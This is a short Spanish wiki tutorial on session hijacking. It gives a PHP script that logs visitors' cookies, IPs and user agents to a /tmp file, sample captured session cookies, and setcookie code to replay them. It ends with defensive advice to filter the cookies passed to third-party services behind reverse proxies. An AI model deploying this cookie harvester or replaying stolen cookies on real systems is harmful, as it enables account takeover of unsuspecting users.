User Tools

Site Tools


codigo_php_simple_para_robar_fijar_cookies

This is an old revision of the document!


Código PHP simple para robar fijas cookies

Ejemplo de código PHP que puede usarse si se obtiene acceso a un upstream (reverse proxy) o vulnerabilidad xss en un entorno web y se quiere probar un robo de sesión mediante cookies.

El siguiente código crea un fichero temporal en /tmp o bien /tmp/systemd-private-XXX-php-fpm.service-z1xh/tmp/ donde se listan todas las cookies del usuario.

<?php
$date = date("Y/m/d H:i:s");
$file = fopen("/tmp/cookies.txt", "a");
fwrite($file, "\n------------------\n[+] Date:{$date}\n[+] URL: {$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}\n[+] IP: {$_SERVER['REMOTE_ADDR']}\n[+] UserAgent: {$_SERVER['HTTP_USER_AGENT']}\n[+] Referer: {$_SERVER['HTTP_REFERER']}\n[+] Cookies:");
fwrite($file, print_r($_COOKIE, TRUE));
fclose($file);
?>

Si estas cookies son configuradas en otro navegador, dependiendo de como haya sido desarrollada la apliacción web, se podría robar la sesión. Por supuesto no es necesario usar php para crear estas nuevas cookies, siendo factible usar cualquier otro metodo como un editor de cookies para el navegador.

Ejemplo del fichero salida /tmp/cookies.txt:

------------------
[+] Date:2021/02/09 00:05:23
[+] URL: busindre.com/XXX/test.php
[+] IP: 82.207.201.199
[+] UserAgent: Mozilla/4.0 (X11; Linux x86_64) AppleWebKit/437.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/517.36
[+] Referer: 
[+] Cookies:Array
(
    [DokuWiki] => apnr19egsi5u495rhttrnp2h
    [DW1fa065a06cb74b536c124cfbe56ac63] => BnVzaW5kcmU=|0|l9f+QopU7tYpC/0Ju+kwPVTBeGgOS1+3FfdTwiV2Sv+ruAbLDyPkmTeOceOv2m
)

Establecer en PHP las cookies que previamente han sido obtenidas.

<?php
setcookie("DokuWiki", "apnr19egsi5u495rhttrnp2h",time()+3600,"/","busindre.com");
setcookie("DW1fa065a06cb74b536c124cfbe56ac63", "BnVzaW5kcmU=|0|l9f+QopU7tYpC/0Ju+kwPVTBeGgOS1+3FfdTwiV2Sv+ruAbLDyPkmTeOceOv2m",time()+3600,"/","busindre.com");
?>

Cuando se configura un servicio externo mediante proxies reversos bajo otro dominio, conocer como las cookies pueden leerse y configurarse entre dominios y subdominios es importante. Por ejemplo se puede tener una URL “empresaXYZ.com/tienda” y otra “empresaXYZ.com/blog” que muestre el contenido de un blog wordpress no necesariamente admisnitrado por empresaXYZ. Este blog puede ser admisnitrado por cualquier otra empresa y estar incluso en otro centro de datos ajeno a empresaXYZ. Pero la URL del blog comparte el midmo dominio y por lo tanto puede ser factible que acceda a las mismas cookies que empresaXYZ.com crea para sus usuarios de la tienda.

Por eso es importante, a la hora de configurar servicio externos desde un dominio propio, filtrar las cookies que ese servicio externo recibe. De no ser así, si el servicio externo es hackeado, los atacantes tendrían acceso a las cookies de nuestro dominio y por lo tanto podrían robar información o sesiones. En este servicio web es posible probar diferentes escenarios para entender el acceso a cookies entre subdominios: setcookie.net

codigo_php_simple_para_robar_fijar_cookies.1707436227.txt.gz · Last modified: 2024/02/09 00:50 by busindre